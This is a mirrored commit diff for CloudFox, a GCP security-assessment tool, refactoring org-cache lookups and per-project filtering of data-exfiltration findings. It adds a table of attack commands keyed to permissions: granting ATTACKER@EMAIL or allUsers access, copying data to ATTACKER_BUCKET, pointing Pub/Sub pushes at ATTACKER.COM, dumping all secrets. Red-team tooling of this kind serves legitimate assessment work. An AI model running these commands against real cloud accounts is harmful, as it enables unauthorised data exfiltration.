mirror of
https://github.com/BishopFox/cloudfox.git
synced 2026-11-07 09:56:01 -10:00
cleanup output, better streaming and file splitting
This commit is contained in:
29 files changed
+4856
-1959
No files matched your search
Regular → Executable
+18
-4
@@ -138,18 +138,22 @@ var (
|
||||
totalNodes, adminNodes, nodesWithPrivesc := foxMapperCache.GetStats()
|
||||
ageDays := foxMapperCache.GetDataAgeDays()
|
||||
|
||||
if ageDays >= 7 {
|
||||
if ageDays >= 30 {
|
||||
GCPLogger.WarnM(fmt.Sprintf("FoxMapper data is %d days old - consider running 'foxmapper gcp graph create' to refresh",
|
||||
ageDays), "gcp")
|
||||
} else {
|
||||
GCPLogger.InfoM(fmt.Sprintf("FoxMapper data is %d days old", ageDays), "gcp")
|
||||
}
|
||||
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc (data age: %d days)",
|
||||
totalNodes, adminNodes, nodesWithPrivesc, ageDays), "gcp")
|
||||
GCPLogger.SuccessM(fmt.Sprintf("FoxMapper data loaded: %d principals, %d admins, %d with privesc",
|
||||
totalNodes, adminNodes, nodesWithPrivesc), "gcp")
|
||||
}
|
||||
}
|
||||
|
||||
// Always try to load org cache for cross-project analysis
|
||||
// Cache auto-refreshes after 24 hours
|
||||
orgCache := loadOrPopulateOrgCache(account, GCPRefreshCache)
|
||||
// Force refresh when running the organizations command to ensure fresh data
|
||||
refreshCache := GCPRefreshCache || cmd.Name() == "organizations"
|
||||
orgCache := loadOrPopulateOrgCache(account, refreshCache)
|
||||
if orgCache != nil && orgCache.IsPopulated() {
|
||||
ctx = gcpinternal.SetOrgCacheInContext(ctx, orgCache)
|
||||
}
|
||||
@@ -372,6 +376,8 @@ func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
|
||||
ID: org.Name[len("organizations/"):], // Strip prefix
|
||||
Name: org.Name,
|
||||
DisplayName: org.DisplayName,
|
||||
DirectoryID: org.DirectoryID,
|
||||
State: org.State,
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -385,6 +391,7 @@ func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
|
||||
Name: folder.Name,
|
||||
DisplayName: folder.DisplayName,
|
||||
Parent: folder.Parent,
|
||||
State: folder.State,
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -393,8 +400,14 @@ func enumerateAndCacheOrgs(account string) *gcpinternal.OrgCache {
|
||||
projects, err := orgsSvc.SearchProjects("")
|
||||
if err == nil {
|
||||
for _, project := range projects {
|
||||
// Extract project number from Name (format: "projects/123456789")
|
||||
projectNumber := ""
|
||||
if strings.HasPrefix(project.Name, "projects/") {
|
||||
projectNumber = strings.TrimPrefix(project.Name, "projects/")
|
||||
}
|
||||
cache.AddProject(gcpinternal.CachedProject{
|
||||
ID: project.ProjectID,
|
||||
Number: projectNumber,
|
||||
Name: project.Name,
|
||||
DisplayName: project.DisplayName,
|
||||
Parent: project.Parent,
|
||||
@@ -513,6 +526,7 @@ func init() {
|
||||
commands.GCPKeysCommand,
|
||||
commands.GCPEndpointsCommand,
|
||||
commands.GCPWorkloadIdentityCommand,
|
||||
commands.GCPIdentityFederationCommand,
|
||||
commands.GCPOrganizationsCommand,
|
||||
commands.GCPCloudBuildCommand,
|
||||
commands.GCPMemorystoreCommand,
|
||||
|
||||
@@ -140,7 +140,7 @@ func (m *CrossProjectModule) Execute(ctx context.Context, logger internal.Logger
|
||||
svc := crossprojectservice.New()
|
||||
|
||||
// Analyze cross-project bindings
|
||||
bindings, err := svc.AnalyzeCrossProjectAccess(m.ProjectIDs)
|
||||
bindings, err := svc.AnalyzeCrossProjectAccess(m.ProjectIDs, m.OrgCache)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
|
||||
@@ -160,7 +160,7 @@ func (m *CrossProjectModule) Execute(ctx context.Context, logger internal.Logger
|
||||
}
|
||||
|
||||
// Find lateral movement paths
|
||||
paths, err := svc.FindLateralMovementPaths(m.ProjectIDs)
|
||||
paths, err := svc.FindLateralMovementPaths(m.ProjectIDs, m.OrgCache)
|
||||
if err != nil {
|
||||
m.CommandCounter.Error++
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_CROSSPROJECT_MODULE_NAME,
|
||||
|
||||
Regular → Executable
+505
-65
@@ -119,6 +119,7 @@ type DataExfiltrationModule struct {
|
||||
vpcscProtectedProj map[string]bool // Projects protected by VPC-SC
|
||||
orgPolicyProtection map[string]*OrgPolicyProtection // Org policy protections per project
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper cache for unified data access
|
||||
OrgCache *gcpinternal.OrgCache // OrgCache for ancestry lookups
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
@@ -173,9 +174,69 @@ func (m *DataExfiltrationModule) getAllPublicExports() []PublicExport {
|
||||
return all
|
||||
}
|
||||
|
||||
// filterFindingsByProjects filters FoxMapper findings to only include principals
|
||||
// from the specified projects (via -p or -l flags) OR principals without a clear project
|
||||
// (users, groups, compute default SAs, etc.)
|
||||
func (m *DataExfiltrationModule) filterFindingsByProjects(findings []foxmapperservice.DataExfilFinding) []foxmapperservice.DataExfilFinding {
|
||||
// Build a set of specified project IDs for fast lookup
|
||||
specifiedProjects := make(map[string]bool)
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
specifiedProjects[projectID] = true
|
||||
}
|
||||
|
||||
var filtered []foxmapperservice.DataExfilFinding
|
||||
|
||||
for _, finding := range findings {
|
||||
// Filter principals to only those from specified projects OR without a clear project
|
||||
var filteredPrincipals []foxmapperservice.PrincipalAccess
|
||||
for _, p := range finding.Principals {
|
||||
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
|
||||
// Include if:
|
||||
// 1. Principal's project is in our specified list, OR
|
||||
// 2. Principal has no clear project (users, groups, compute default SAs)
|
||||
if specifiedProjects[principalProject] || principalProject == "" {
|
||||
filteredPrincipals = append(filteredPrincipals, p)
|
||||
}
|
||||
}
|
||||
|
||||
// Only include the finding if it has matching principals
|
||||
if len(filteredPrincipals) > 0 {
|
||||
filteredFinding := finding
|
||||
filteredFinding.Principals = filteredPrincipals
|
||||
filtered = append(filtered, filteredFinding)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
|
||||
// countFindingsByProject returns a count of findings per project for debugging
|
||||
func (m *DataExfiltrationModule) countFindingsByProject() map[string]int {
|
||||
counts := make(map[string]int)
|
||||
for _, f := range m.FoxMapperFindings {
|
||||
for _, p := range f.Principals {
|
||||
proj := extractProjectFromPrincipal(p.Principal, m.OrgCache)
|
||||
if proj == "" {
|
||||
proj = "(unknown)"
|
||||
}
|
||||
counts[proj]++
|
||||
}
|
||||
}
|
||||
return counts
|
||||
}
|
||||
|
||||
func (m *DataExfiltrationModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
logger.InfoM("Identifying data exfiltration paths and potential vectors...", GCP_DATAEXFILTRATION_MODULE_NAME)
|
||||
|
||||
// Load OrgCache for ancestry lookups (needed for per-project filtering)
|
||||
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
|
||||
diskCache, _, err := gcpinternal.LoadOrgCacheFromFile(m.OutputDirectory, m.Account)
|
||||
if err == nil && diskCache != nil && diskCache.IsPopulated() {
|
||||
m.OrgCache = diskCache
|
||||
}
|
||||
}
|
||||
|
||||
// Get FoxMapper cache from context or try to load it
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if m.FoxMapperCache == nil || !m.FoxMapperCache.IsPopulated() {
|
||||
@@ -200,9 +261,21 @@ func (m *DataExfiltrationModule) Execute(ctx context.Context, logger internal.Lo
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
logger.InfoM("Analyzing permission-based exfiltration paths using FoxMapper...", GCP_DATAEXFILTRATION_MODULE_NAME)
|
||||
svc := m.FoxMapperCache.GetService()
|
||||
m.FoxMapperFindings = svc.AnalyzeDataExfil("")
|
||||
allFindings := svc.AnalyzeDataExfil("")
|
||||
|
||||
// Filter findings to only include principals from specified projects
|
||||
m.FoxMapperFindings = m.filterFindingsByProjects(allFindings)
|
||||
|
||||
if len(m.FoxMapperFindings) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Found %d permission-based exfiltration techniques with access", len(m.FoxMapperFindings)), GCP_DATAEXFILTRATION_MODULE_NAME)
|
||||
|
||||
// Log findings per project for debugging
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
counts := m.countFindingsByProject()
|
||||
for proj, count := range counts {
|
||||
logger.InfoM(fmt.Sprintf(" - %s: %d principals", proj, count), GCP_DATAEXFILTRATION_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
logger.InfoM("No FoxMapper data found - skipping permission-based analysis. Run 'foxmapper gcp graph create' for full analysis.", GCP_DATAEXFILTRATION_MODULE_NAME)
|
||||
@@ -370,48 +443,215 @@ func (m *DataExfiltrationModule) initializeLootForProject(projectID string) {
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DataExfiltrationModule) generatePlaybook() *internal.LootFile {
|
||||
// getExploitCommand returns specific exploitation commands for a permission
|
||||
func getExploitCommand(permission, principal, project string) string {
|
||||
// Map permissions to specific gcloud/gsutil commands
|
||||
commands := map[string]string{
|
||||
// Storage
|
||||
"storage.objects.get": "gsutil cp gs://BUCKET/OBJECT ./\ngcloud storage cp gs://BUCKET/OBJECT ./",
|
||||
"storage.objects.list": "gsutil ls -r gs://BUCKET/\ngcloud storage ls --recursive gs://BUCKET/",
|
||||
"storage.buckets.setIamPolicy": "gsutil iam ch allUsers:objectViewer gs://BUCKET\n# Or grant yourself access:\ngsutil iam ch user:ATTACKER@EMAIL:objectAdmin gs://BUCKET",
|
||||
"storage.hmacKeys.create": "gsutil hmac create SERVICE_ACCOUNT_EMAIL",
|
||||
|
||||
// IAM / Service Account Impersonation
|
||||
"iam.serviceAccounts.signBlob": "gcloud iam service-accounts sign-blob --iam-account=TARGET_SA input.txt output.sig",
|
||||
"iam.serviceAccountKeys.create": "gcloud iam service-accounts keys create key.json --iam-account=TARGET_SA",
|
||||
"iam.serviceAccounts.getAccessToken": "gcloud auth print-access-token --impersonate-service-account=TARGET_SA",
|
||||
|
||||
// Storage Transfer
|
||||
"storagetransfer.jobs.create": "# Create transfer job to exfil bucket to external destination\ngcloud transfer jobs create gs://SOURCE_BUCKET gs://ATTACKER_BUCKET --name=exfil-job",
|
||||
"storagetransfer.jobs.update": "# Update existing transfer job destination\ngcloud transfer jobs update JOB_NAME --destination=gs://ATTACKER_BUCKET",
|
||||
"storagetransfer.jobs.run": "gcloud transfer jobs run JOB_NAME",
|
||||
|
||||
// BigQuery
|
||||
"bigquery.tables.export": "bq extract --destination_format=CSV PROJECT:DATASET.TABLE gs://BUCKET/export.csv",
|
||||
"bigquery.tables.getData": "bq query --use_legacy_sql=false 'SELECT * FROM `PROJECT.DATASET.TABLE` LIMIT 1000'",
|
||||
"bigquery.jobs.create": "bq query --use_legacy_sql=false 'SELECT * FROM `PROJECT.DATASET.TABLE`'\nbq extract PROJECT:DATASET.TABLE gs://BUCKET/export.csv",
|
||||
"bigquery.datasets.setIamPolicy": "bq add-iam-policy-binding --member=user:ATTACKER@EMAIL --role=roles/bigquery.dataViewer PROJECT:DATASET",
|
||||
|
||||
// Cloud SQL
|
||||
"cloudsql.instances.export": "gcloud sql export sql INSTANCE gs://BUCKET/export.sql --database=DATABASE",
|
||||
"cloudsql.backupRuns.create": "gcloud sql backups create --instance=INSTANCE",
|
||||
"cloudsql.instances.connect": "gcloud sql connect INSTANCE --user=USER --database=DATABASE",
|
||||
"cloudsql.users.create": "gcloud sql users create ATTACKER --instance=INSTANCE --password=PASSWORD",
|
||||
|
||||
// Spanner
|
||||
"spanner.databases.export": "gcloud spanner databases export DATABASE --instance=INSTANCE --destination-uri=gs://BUCKET/spanner-export/",
|
||||
"spanner.databases.read": "gcloud spanner databases execute-sql DATABASE --instance=INSTANCE --sql='SELECT * FROM TABLE_NAME'",
|
||||
"spanner.backups.create": "gcloud spanner backups create BACKUP --instance=INSTANCE --database=DATABASE --retention-period=7d",
|
||||
|
||||
// Datastore / Firestore
|
||||
"datastore.databases.export": "gcloud datastore export gs://BUCKET/datastore-export/ --namespaces='(default)'",
|
||||
"datastore.entities.get": "gcloud datastore export gs://BUCKET/datastore-export/",
|
||||
|
||||
// Bigtable
|
||||
"bigtable.tables.readRows": "cbt -project=PROJECT -instance=INSTANCE read TABLE",
|
||||
"bigtable.backups.create": "cbt -project=PROJECT -instance=INSTANCE createbackup CLUSTER BACKUP TABLE",
|
||||
|
||||
// Pub/Sub
|
||||
"pubsub.subscriptions.create": "gcloud pubsub subscriptions create ATTACKER_SUB --topic=TOPIC\ngcloud pubsub subscriptions pull ATTACKER_SUB --auto-ack --limit=100",
|
||||
"pubsub.subscriptions.consume": "gcloud pubsub subscriptions pull SUBSCRIPTION --auto-ack --limit=100",
|
||||
"pubsub.subscriptions.update": "gcloud pubsub subscriptions update SUBSCRIPTION --push-endpoint=https://ATTACKER.COM/webhook",
|
||||
|
||||
// Compute
|
||||
"compute.snapshots.create": "gcloud compute snapshots create SNAPSHOT_NAME --source-disk=DISK_NAME --source-disk-zone=ZONE",
|
||||
"compute.disks.createSnapshot": "gcloud compute disks snapshot DISK_NAME --zone=ZONE --snapshot-names=SNAPSHOT_NAME",
|
||||
"compute.images.create": "gcloud compute images create IMAGE_NAME --source-disk=DISK_NAME --source-disk-zone=ZONE",
|
||||
"compute.machineImages.create": "gcloud compute machine-images create IMAGE_NAME --source-instance=INSTANCE --source-instance-zone=ZONE",
|
||||
"compute.images.setIamPolicy": "gcloud compute images add-iam-policy-binding IMAGE --member=user:ATTACKER@EMAIL --role=roles/compute.imageUser",
|
||||
"compute.snapshots.setIamPolicy": "gcloud compute snapshots add-iam-policy-binding SNAPSHOT --member=user:ATTACKER@EMAIL --role=roles/compute.storageAdmin",
|
||||
|
||||
// Logging
|
||||
"logging.sinks.create": "gcloud logging sinks create SINK_NAME storage.googleapis.com/ATTACKER_BUCKET --log-filter='resource.type=\"gce_instance\"'",
|
||||
"logging.sinks.update": "gcloud logging sinks update SINK_NAME --destination=storage.googleapis.com/ATTACKER_BUCKET",
|
||||
"logging.logEntries.list": "gcloud logging read 'resource.type=\"gce_instance\"' --limit=1000 --format=json > logs.json",
|
||||
|
||||
// Secret Manager
|
||||
"secretmanager.versions.access": "gcloud secrets versions access latest --secret=SECRET_NAME",
|
||||
"secretmanager.secrets.list": "gcloud secrets list --format='value(name)'\n# Then access each secret:\nfor secret in $(gcloud secrets list --format='value(name)'); do gcloud secrets versions access latest --secret=$secret; done",
|
||||
|
||||
// KMS
|
||||
"cloudkms.cryptoKeyVersions.useToDecrypt": "gcloud kms decrypt --key=KEY_NAME --keyring=KEYRING --location=LOCATION --ciphertext-file=encrypted.bin --plaintext-file=decrypted.txt",
|
||||
"cloudkms.cryptoKeys.setIamPolicy": "gcloud kms keys add-iam-policy-binding KEY_NAME --keyring=KEYRING --location=LOCATION --member=user:ATTACKER@EMAIL --role=roles/cloudkms.cryptoKeyDecrypter",
|
||||
|
||||
// Artifact Registry
|
||||
"artifactregistry.repositories.downloadArtifacts": "gcloud artifacts docker images list LOCATION-docker.pkg.dev/PROJECT/REPO\ndocker pull LOCATION-docker.pkg.dev/PROJECT/REPO/IMAGE:TAG",
|
||||
"artifactregistry.repositories.setIamPolicy": "gcloud artifacts repositories add-iam-policy-binding REPO --location=LOCATION --member=user:ATTACKER@EMAIL --role=roles/artifactregistry.reader",
|
||||
|
||||
// Cloud Functions
|
||||
"cloudfunctions.functions.get": "gcloud functions describe FUNCTION_NAME --region=REGION",
|
||||
"cloudfunctions.functions.sourceCodeGet": "gcloud functions describe FUNCTION_NAME --region=REGION --format='value(sourceArchiveUrl)'\ngsutil cp SOURCE_URL ./function-source.zip",
|
||||
|
||||
// Cloud Run
|
||||
"run.services.get": "gcloud run services describe SERVICE --region=REGION --format=yaml",
|
||||
|
||||
// Dataproc
|
||||
"dataproc.jobs.create": "gcloud dataproc jobs submit spark --cluster=CLUSTER --region=REGION --class=org.example.ExfilJob --jars=gs://ATTACKER_BUCKET/exfil.jar",
|
||||
|
||||
// Dataflow
|
||||
"dataflow.jobs.create": "gcloud dataflow jobs run exfil-job --gcs-location=gs://dataflow-templates/latest/GCS_to_GCS --region=REGION --parameters inputDirectory=gs://SOURCE_BUCKET,outputDirectory=gs://ATTACKER_BUCKET",
|
||||
|
||||
// Redis
|
||||
"redis.instances.export": "gcloud redis instances export gs://BUCKET/redis-export.rdb --instance=INSTANCE --region=REGION",
|
||||
|
||||
// AlloyDB
|
||||
"alloydb.backups.create": "gcloud alloydb backups create BACKUP --cluster=CLUSTER --region=REGION",
|
||||
|
||||
// Source Repos
|
||||
"source.repos.get": "gcloud source repos clone REPO_NAME\ncd REPO_NAME && git log --all",
|
||||
|
||||
// Healthcare API
|
||||
"healthcare.fhirResources.get": "curl -H \"Authorization: Bearer $(gcloud auth print-access-token)\" \"https://healthcare.googleapis.com/v1/projects/PROJECT/locations/LOCATION/datasets/DATASET/fhirStores/STORE/fhir/Patient\"",
|
||||
"healthcare.dicomStores.dicomWebRetrieve": "curl -H \"Authorization: Bearer $(gcloud auth print-access-token)\" \"https://healthcare.googleapis.com/v1/projects/PROJECT/locations/LOCATION/datasets/DATASET/dicomStores/STORE/dicomWeb/studies\"",
|
||||
"healthcare.datasets.export": "gcloud healthcare datasets export DATASET --location=LOCATION --destination-uri=gs://BUCKET/healthcare-export/",
|
||||
}
|
||||
|
||||
cmd, ok := commands[permission]
|
||||
if !ok {
|
||||
return fmt.Sprintf("# No specific command for %s - check gcloud documentation", permission)
|
||||
}
|
||||
|
||||
// Replace placeholders with actual values where possible
|
||||
if project != "" && project != "-" {
|
||||
cmd = strings.ReplaceAll(cmd, "PROJECT", project)
|
||||
}
|
||||
|
||||
return cmd
|
||||
}
|
||||
|
||||
// generatePlaybookForProject generates a loot file specific to a project
|
||||
// It includes SAs from that project + users/groups (which apply to all projects)
|
||||
func (m *DataExfiltrationModule) generatePlaybookForProject(projectID string) *internal.LootFile {
|
||||
var sb strings.Builder
|
||||
sb.WriteString("# GCP Data Exfiltration Playbook\n")
|
||||
sb.WriteString("# GCP Data Exfiltration Commands\n")
|
||||
sb.WriteString(fmt.Sprintf("# Project: %s\n", projectID))
|
||||
sb.WriteString("# Generated by CloudFox\n\n")
|
||||
|
||||
// Actual misconfigurations
|
||||
allPaths := m.getAllExfiltrationPaths()
|
||||
if len(allPaths) > 0 {
|
||||
// Actual misconfigurations for this project
|
||||
paths := m.ProjectExfiltrationPaths[projectID]
|
||||
if len(paths) > 0 {
|
||||
sb.WriteString("## Actual Misconfigurations\n\n")
|
||||
for _, path := range allPaths {
|
||||
for _, path := range paths {
|
||||
sb.WriteString(fmt.Sprintf("### %s: %s\n", path.PathType, path.ResourceName))
|
||||
sb.WriteString(fmt.Sprintf("- Project: %s\n", path.ProjectID))
|
||||
sb.WriteString(fmt.Sprintf("- Risk Level: %s\n", path.RiskLevel))
|
||||
sb.WriteString(fmt.Sprintf("- Description: %s\n", path.Description))
|
||||
sb.WriteString(fmt.Sprintf("- Destination: %s\n\n", path.Destination))
|
||||
sb.WriteString(fmt.Sprintf("# Description: %s\n", path.Description))
|
||||
if path.ExploitCommand != "" {
|
||||
sb.WriteString("```bash\n")
|
||||
sb.WriteString(path.ExploitCommand)
|
||||
sb.WriteString("\n```\n\n")
|
||||
sb.WriteString("\n\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Permission-based findings from FoxMapper
|
||||
// Permission-based findings from FoxMapper - filter to this project's principals + users/groups
|
||||
if len(m.FoxMapperFindings) > 0 {
|
||||
sb.WriteString("## Permission-Based Exfiltration Techniques\n\n")
|
||||
hasFindings := false
|
||||
|
||||
for _, finding := range m.FoxMapperFindings {
|
||||
sb.WriteString(fmt.Sprintf("### %s (%s)\n", finding.Technique, finding.Service))
|
||||
sb.WriteString(fmt.Sprintf("- Permission: %s\n", finding.Permission))
|
||||
sb.WriteString(fmt.Sprintf("- Description: %s\n", finding.Description))
|
||||
sb.WriteString(fmt.Sprintf("- Principals with access: %d\n\n", len(finding.Principals)))
|
||||
if finding.Exploitation != "" {
|
||||
sb.WriteString("```bash\n")
|
||||
sb.WriteString(finding.Exploitation)
|
||||
sb.WriteString("\n```\n\n")
|
||||
var relevantPrincipals []foxmapperservice.PrincipalAccess
|
||||
|
||||
for _, p := range finding.Principals {
|
||||
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
|
||||
// Include if: SA from this project OR user/group (no project)
|
||||
if principalProject == projectID || principalProject == "" {
|
||||
relevantPrincipals = append(relevantPrincipals, p)
|
||||
}
|
||||
}
|
||||
|
||||
if len(relevantPrincipals) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
if !hasFindings {
|
||||
sb.WriteString("## Permission-Based Exfiltration Commands\n\n")
|
||||
hasFindings = true
|
||||
}
|
||||
|
||||
sb.WriteString(fmt.Sprintf("### %s (%s)\n", finding.Permission, finding.Service))
|
||||
sb.WriteString(fmt.Sprintf("# %s\n\n", finding.Description))
|
||||
|
||||
for _, p := range relevantPrincipals {
|
||||
project := extractProjectFromPrincipal(p.Principal, m.OrgCache)
|
||||
if project == "" {
|
||||
project = projectID // Use the target project for users/groups
|
||||
}
|
||||
|
||||
principalType := p.MemberType
|
||||
if principalType == "" {
|
||||
if p.IsServiceAccount {
|
||||
principalType = "serviceAccount"
|
||||
} else {
|
||||
principalType = "user"
|
||||
}
|
||||
}
|
||||
|
||||
sb.WriteString(fmt.Sprintf("## %s (%s)\n", p.Principal, principalType))
|
||||
|
||||
// Add impersonation command if it's a service account
|
||||
if p.IsServiceAccount {
|
||||
sb.WriteString(fmt.Sprintf("# Impersonate first:\ngcloud config set auth/impersonate_service_account %s\n\n", p.Principal))
|
||||
}
|
||||
|
||||
// Add the exploitation command
|
||||
cmd := getExploitCommand(finding.Permission, p.Principal, project)
|
||||
sb.WriteString(cmd)
|
||||
sb.WriteString("\n\n")
|
||||
|
||||
// Reset impersonation note
|
||||
if p.IsServiceAccount {
|
||||
sb.WriteString("# Reset impersonation when done:\n# gcloud config unset auth/impersonate_service_account\n\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
contents := sb.String()
|
||||
// Don't return empty loot file
|
||||
if contents == fmt.Sprintf("# GCP Data Exfiltration Commands\n# Project: %s\n# Generated by CloudFox\n\n", projectID) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &internal.LootFile{
|
||||
Name: "data-exfiltration-playbook",
|
||||
Contents: sb.String(),
|
||||
Name: "data-exfiltration-commands",
|
||||
Contents: contents,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1041,11 +1281,13 @@ func (m *DataExfiltrationModule) getMisconfigHeader() []string {
|
||||
|
||||
func (m *DataExfiltrationModule) getFoxMapperHeader() []string {
|
||||
return []string{
|
||||
"Technique",
|
||||
"Scope Type",
|
||||
"Scope ID",
|
||||
"Principal Type",
|
||||
"Principal",
|
||||
"Service",
|
||||
"Permission",
|
||||
"Description",
|
||||
"Principal Count",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1094,20 +1336,222 @@ func (m *DataExfiltrationModule) pathsToTableBody(paths []ExfiltrationPath, expo
|
||||
return body
|
||||
}
|
||||
|
||||
// foxMapperFindingsForProject returns findings for a specific project
|
||||
// Includes: SAs from that project + users/groups (which can access any project)
|
||||
// Also filters by scope: only org/folder/project findings in the project's hierarchy
|
||||
func (m *DataExfiltrationModule) foxMapperFindingsForProject(projectID string) [][]string {
|
||||
var body [][]string
|
||||
|
||||
// Get ancestor folders and org for filtering
|
||||
var ancestorFolders []string
|
||||
var projectOrgID string
|
||||
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
|
||||
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
|
||||
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
|
||||
}
|
||||
ancestorFolderSet := make(map[string]bool)
|
||||
for _, f := range ancestorFolders {
|
||||
ancestorFolderSet[f] = true
|
||||
}
|
||||
|
||||
for _, f := range m.FoxMapperFindings {
|
||||
for _, p := range f.Principals {
|
||||
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
|
||||
|
||||
// Include if: SA from this project OR user/group (no project - applies to all)
|
||||
if principalProject != projectID && principalProject != "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Filter by scope hierarchy
|
||||
if !m.scopeMatchesProject(p.ScopeType, p.ScopeID, projectID, projectOrgID, ancestorFolderSet) {
|
||||
continue
|
||||
}
|
||||
|
||||
// Determine principal type
|
||||
principalType := p.MemberType
|
||||
if principalType == "" {
|
||||
if p.IsServiceAccount {
|
||||
principalType = "serviceAccount"
|
||||
} else {
|
||||
principalType = "user"
|
||||
}
|
||||
}
|
||||
|
||||
scopeType := p.ScopeType
|
||||
if scopeType == "" {
|
||||
scopeType = "-"
|
||||
}
|
||||
scopeID := p.ScopeID
|
||||
if scopeID == "" {
|
||||
scopeID = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
scopeType,
|
||||
scopeID,
|
||||
principalType,
|
||||
p.Principal,
|
||||
f.Service,
|
||||
f.Permission,
|
||||
f.Description,
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// foxMapperFindingsWithoutProject returns findings for principals without a clear project
|
||||
// (e.g., compute default SAs, users, groups)
|
||||
func (m *DataExfiltrationModule) foxMapperFindingsWithoutProject() [][]string {
|
||||
var body [][]string
|
||||
for _, f := range m.FoxMapperFindings {
|
||||
for _, p := range f.Principals {
|
||||
// Extract project from principal
|
||||
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
|
||||
|
||||
// Only include if we couldn't determine the project
|
||||
if principalProject != "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Determine principal type
|
||||
principalType := p.MemberType
|
||||
if principalType == "" {
|
||||
if p.IsServiceAccount {
|
||||
principalType = "serviceAccount"
|
||||
} else {
|
||||
principalType = "user"
|
||||
}
|
||||
}
|
||||
|
||||
scopeType := p.ScopeType
|
||||
if scopeType == "" {
|
||||
scopeType = "-"
|
||||
}
|
||||
scopeID := p.ScopeID
|
||||
if scopeID == "" {
|
||||
scopeID = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
scopeType,
|
||||
scopeID,
|
||||
principalType,
|
||||
p.Principal,
|
||||
f.Service,
|
||||
f.Permission,
|
||||
f.Description,
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// foxMapperFindingsToTableBodyForProject returns findings filtered by project
|
||||
func (m *DataExfiltrationModule) foxMapperFindingsToTableBodyForProject(projectID string) [][]string {
|
||||
var body [][]string
|
||||
for _, f := range m.FoxMapperFindings {
|
||||
for _, p := range f.Principals {
|
||||
// Extract project from principal (uses existing function from privesc.go)
|
||||
principalProject := extractProjectFromPrincipal(p.Principal, m.OrgCache)
|
||||
|
||||
// Only include if it matches this project
|
||||
if principalProject != projectID {
|
||||
continue
|
||||
}
|
||||
|
||||
// Determine principal type
|
||||
principalType := p.MemberType
|
||||
if principalType == "" {
|
||||
if p.IsServiceAccount {
|
||||
principalType = "serviceAccount"
|
||||
} else {
|
||||
principalType = "user"
|
||||
}
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
principalProject,
|
||||
principalType,
|
||||
p.Principal,
|
||||
f.Service,
|
||||
f.Permission,
|
||||
f.Description,
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// foxMapperFindingsToTableBody returns all findings (for flat output)
|
||||
func (m *DataExfiltrationModule) foxMapperFindingsToTableBody() [][]string {
|
||||
var body [][]string
|
||||
for _, f := range m.FoxMapperFindings {
|
||||
body = append(body, []string{
|
||||
f.Technique,
|
||||
f.Service,
|
||||
f.Permission,
|
||||
f.Description,
|
||||
fmt.Sprintf("%d", len(f.Principals)),
|
||||
})
|
||||
for _, p := range f.Principals {
|
||||
// Determine principal type
|
||||
principalType := p.MemberType
|
||||
if principalType == "" {
|
||||
if p.IsServiceAccount {
|
||||
principalType = "serviceAccount"
|
||||
} else {
|
||||
principalType = "user"
|
||||
}
|
||||
}
|
||||
|
||||
scopeType := p.ScopeType
|
||||
if scopeType == "" {
|
||||
scopeType = "-"
|
||||
}
|
||||
scopeID := p.ScopeID
|
||||
if scopeID == "" {
|
||||
scopeID = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
scopeType,
|
||||
scopeID,
|
||||
principalType,
|
||||
p.Principal,
|
||||
f.Service,
|
||||
f.Permission,
|
||||
f.Description,
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// scopeMatchesProject checks if a scope (org/folder/project) is in the hierarchy for a project
|
||||
func (m *DataExfiltrationModule) scopeMatchesProject(scopeType, scopeID, projectID, projectOrgID string, ancestorFolderSet map[string]bool) bool {
|
||||
if scopeType == "" || scopeID == "" {
|
||||
// No scope info - include by default
|
||||
return true
|
||||
}
|
||||
|
||||
switch scopeType {
|
||||
case "project":
|
||||
return scopeID == projectID
|
||||
case "organization":
|
||||
if projectOrgID != "" {
|
||||
return scopeID == projectOrgID
|
||||
}
|
||||
// No org info - include by default
|
||||
return true
|
||||
case "folder":
|
||||
if len(ancestorFolderSet) > 0 {
|
||||
